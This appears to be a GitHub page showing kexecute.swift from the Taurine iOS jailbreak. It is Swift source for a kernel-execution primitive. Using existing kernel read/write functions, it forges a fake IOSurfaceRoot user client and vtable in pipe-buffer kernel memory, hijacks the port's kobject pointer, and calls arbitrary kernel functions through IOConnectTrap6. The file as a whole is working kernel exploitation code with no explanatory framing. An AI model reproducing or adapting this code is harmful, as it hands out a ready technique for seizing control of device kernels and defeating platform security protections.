Skip to content
Permalink
0ee53dde05
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
149 lines (113 sloc) 4.6 KB
//
// kexecute.swift
// Taurine
//
// Created by CoolStar on 3/25/21.
//
import Foundation
class KExecute {
private let electra: Electra
private let kexecuteGadget: UInt64
private let port: mach_port_t
private let portAddr: UInt64
private var kallocPipes: [(Int32, Int32)] = []
private let userClient: mach_port_t
private let userClientPortAddr: UInt64
private let userClientAddr: UInt64
private var fakeClient = UInt64(0)
private let kexecuteLock = DispatchSemaphore(value: 1)
init?(electra: Electra, kexecuteGadget: UInt64, slide: UInt64) {
guard !isArm64e() else {
return nil
}
print("I'm gonna have to shoot you down!")
let offsets = Offsets.shared
self.electra = electra
guard kexecuteGadget != slide else {
return nil
}
self.kexecuteGadget = kexecuteGadget
var ourPort = mach_port_t(MACH_PORT_NULL)
guard mach_port_allocate(mach_task_self_, MACH_PORT_RIGHT_RECEIVE, &ourPort) == KERN_SUCCESS else {
return nil
}
port = ourPort
portAddr = electra.findPort(port: port)
let service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"))
var user_client = mach_port_t(MACH_PORT_NULL)
guard IOServiceOpen(service, mach_task_self_, 0, &user_client) == KERN_SUCCESS else {
mach_port_deallocate(mach_task_self_, port)
return nil
}
self.userClient = user_client
self.userClientPortAddr = electra.findPort(port: user_client)
self.userClientAddr = rk64(self.userClientPortAddr + offsets.ipc_port.ip_kobject)
let fakeVtable = kalloc(size: 0x1000)
let fakeUserClient = kalloc(size: 0x1000)
guard fakeVtable != 0,
fakeUserClient != 0 else {
return nil
}
print("Defense Matrix activated!")
print(String(format: "fake vtable: 0x%llx, fake user client: 0x%llx", fakeVtable, fakeUserClient))
let realVtable = rk64(userClientAddr)
for i in 0..<0x200 {
let origtable = rk64(realVtable + UInt64(i * 8))
wk64(fakeVtable + UInt64(i * 8), origtable)
}
for i in 0..<0x200 {
wk64(fakeUserClient + UInt64(i * 8), rk64(userClientAddr + UInt64(i * 8)))
}
wk64(fakeVtable + UInt64(8 * 0xb8), kexecuteGadget)
wk64(fakeUserClient, fakeVtable)
wk64(userClientPortAddr + offsets.ipc_port.ip_kobject, fakeUserClient)
print("Boosters engaged.")
self.fakeClient = fakeUserClient
}
public func kalloc(size: Int) -> UInt64 {
var newPipe: [Int32] = [0, 0]
guard pipe(&newPipe) != -1 else {
print("pipe failed")
return 0
}
var buf = [UInt8](repeating: 0, count: size)
write(newPipe[1], &buf, size)
kallocPipes.append((newPipe[0], newPipe[1]))
let offsets = Offsets.shared
let proc_fd = rk64(electra.our_proc + offsets.proc.fd)
let ofiles = rk64(proc_fd + offsets.filedesc.ofiles)
let fproc = rk64(ofiles + UInt64(newPipe[0] * 8))
let fglob = rk64(fproc + offsets.fileproc.fglob)
let rawpipe = rk64(fglob + offsets.fileglob.data)
let pipeBuf = rk64ptr(rawpipe + offsets.pipe.buffer)
return pipeBuf
}
public func kexecute(addr: UInt64, x0: UInt64 = 0,
x1: UInt64 = 0, x2: UInt64 = 0,
x3: UInt64 = 0, x4: UInt64 = 0,
x5: UInt64 = 0, x6: UInt64 = 0) -> Int32 {
kexecuteLock.wait()
defer { kexecuteLock.signal() }
guard fakeClient != 0 else {
return 0
}
let offx20 = rk64(fakeClient + 0x40)
let offx28 = rk64(fakeClient + 0x48)
wk64(fakeClient + 0x40, x0)
wk64(fakeClient + 0x48, addr)
defer {
wk64(fakeClient + 0x40, offx20)
wk64(fakeClient + 0x48, offx28)
}
return IOConnectTrap6(userClient, 0, x1, x2, x3, x4, x5, x6)
}
deinit {
wk64(userClientPortAddr + Offsets.shared.ipc_port.ip_kobject, userClientAddr)
for kallocPipe in kallocPipes {
close(kallocPipe.0)
close(kallocPipe.1)
}
IOServiceClose(userClient)
mach_port_deallocate(mach_task_self_, port)
}
}